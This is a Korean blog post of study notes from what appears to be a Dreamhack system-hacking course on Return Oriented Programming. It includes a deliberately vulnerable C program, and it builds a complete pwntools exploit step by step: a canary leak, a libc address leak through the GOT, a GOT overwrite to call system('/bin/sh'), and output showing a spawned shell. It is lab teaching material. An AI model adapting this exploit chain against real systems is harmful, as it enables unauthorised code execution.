반응형

Return Oriented Programming

ROP : 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법

  • 공격자는 이를 이용해서 문제 상황에 맞춰 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다.
  • ROP 페이로드는 리턴 가젯으로 구성되는데, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP chain이라고도 불린다.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

ROP 실습 코드

 

 

분석 및 설계

보호 기법

checksec으로 바이너리에 적용된 보호기법을 파악한다.

실습환경에는 ASLR이 적용되어 있고, 바이너리에는 카나리와 NX가 적용되어 있다.

 

코드 분석

바이너리에서 system 함수를 호출하지 않아서 PLT에 등록되지 않으며, “/bin/sh” 문자열도 데이터 섹션에 기록하지 않는다.

따라서 system 함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야 하고, “/bin/sh” 문자열을 사용할 다른 방법을 고민해야 한다.

 

 

익스플로잇 설계

1. 카나리 우회

2. system 함수의 주소 계산

  • system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 read, puts, printf도 정의되어 있다.
  • 바이너리가 system 함수를 직접 호출하지 않아서 system 함수가 GOT에는 등록되지 않지만 read,puts, printf는 GOT에 등록되어 있다.
  • main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로, 이들의 GOT를 읽을 수 있다면 libc.so.6가 매핑된 영역의 주소를 구할 수 있다.
  • libc안에서 두 데이터 사이의 거리(Offset)는 항상 같기 때문에 다른 데이터의 주소를 계산할 수 있다.

3. "/bin/sh"

이 바이너리는 데이터 영역에 “/bin/sh” 문자열이 없다. 따라서 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다.

system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있다.

4. GOT Overwrite

system 함수와 "/bin/sh" 문자열의 주소를 알고 있으므로, 지난 코스에서처럼 pop rdi; ret 가젯을 활용하여 system(“/bin/sh”)를 호출할 수 있다.

그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. → ret2main이라고 부름

알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP 체인을 구성해야 한다.

 

 

 

익스플로잇

카나리 우회

#!/usr/bin/env python3
# Name: rop.py
from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./rop')
e = ELF('./rop')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

Canary : 0x26408e881a104700

 

system 함수의 주소 계산

read 함수의 got를 읽고, read 함수와 system 함수의 오프셋을 이용하여 system 함수의 주소를 계산한다.

pwntools에는 ELF.symbols 이라는 메소드는 특정 ELF에서 심볼 사이의 오프셋을 계산할 때 유용하게 사용된다.

#!/usr/bin/env python3
# Name: rop.py
from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.interactive()
python3 rop.py
[+] Starting local process './rop': pid 2094
[*] '/home/dreamhack/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/dreamhack/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] canary: 0xbad4a1c181fbac00
[+] read: 0x7f54a0e6a980
[+] libc_base: 0x7f54a0d56000
[+] system: 0x7f54a0da6d60
...

 

 

 

GOT Overwrite 및 “/bin/sh” 입력

“/bin/sh”는 덮어쓸 GOT 엔트리 뒤에 같이 입력한다.

#!/usr/bin/env python3
# Name: rop.py
from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system) + b'/bin/sh\x00')

 

 

셸 획득

read 함수, pop rdi; ret 가젯, “/bin/sh”의 주소(read_got + 8 )를 이용하여 셸을 획득하는 익스플로잇을 작성

#!/usr/bin/env python3
# Name: rop.py
from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./rop')
# p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF('./libc.so.6')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()
$ python3 rop.py
[+] Starting local process './rop': pid 2673
[*] '/home/dreamhack/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/dreamhack/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] canary: 0xc5b7bc077c839b00
[+] read: 0x7faad966a180
[+] libc base: 0x7faad955a000
[+] system: 0x7faad95a94e0
[*] Switching to interactive mode

$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

 

 

 

 

  • Return Oriented Programming(ROP): 리턴 가젯을 이용하여 복잡한 실행 흐름을 구현하는 기법. 문제 상황에 맞춰 공격자가 유연하게 익스플로잇을 작성할 수 있다.
  • GOT Overwrite: 어떤 함수의 GOT 엔트리를 덮고, 해당 함수를 재호출하여 원하는 코드를 실행시키는 공격 기법

 

라이브러리부터 가젯을 조회할 수 없었다..

디버깅으로 주소를 찾기도 하고 libc.so.6 파일이 2개 존재해서 경로를 바꾸면서 코드를 수정해도 오류가 해결되지 않았다.

셸 획득까지 하지 못하고 개념만 이해해서 아쉽지만 다음에 다른 방법을 찾아 오류를 해결해봐야겠다.

반응형

'Dreamhack > System Hacking' 카테고리의 다른 글

rop  (1) 2024.05.29
Return to Library  (0) 2024.05.29
Exploit Tech: Return to Library  (0) 2024.05.29
Background: Library - Static Link vs. Dynamic Link  (0) 2024.05.22
Mitigation: NX & ASLR  (0) 2024.05.22